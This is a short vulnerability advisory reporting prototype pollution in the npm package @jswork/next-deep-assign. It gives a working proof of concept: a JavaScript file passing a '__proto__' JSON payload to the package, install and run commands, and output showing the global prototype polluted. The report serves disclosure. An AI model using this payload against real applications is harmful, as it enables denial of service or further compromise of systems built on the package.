vulnerability prototype pollution
severity 7.3
language javascript
registry npm


@jswork/next-deep-assign is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const assign = require('@jswork/next-deep-assign')

console.log('Before: ' + {}.polluted)
assign({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i @jswork/next-deep-assign # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.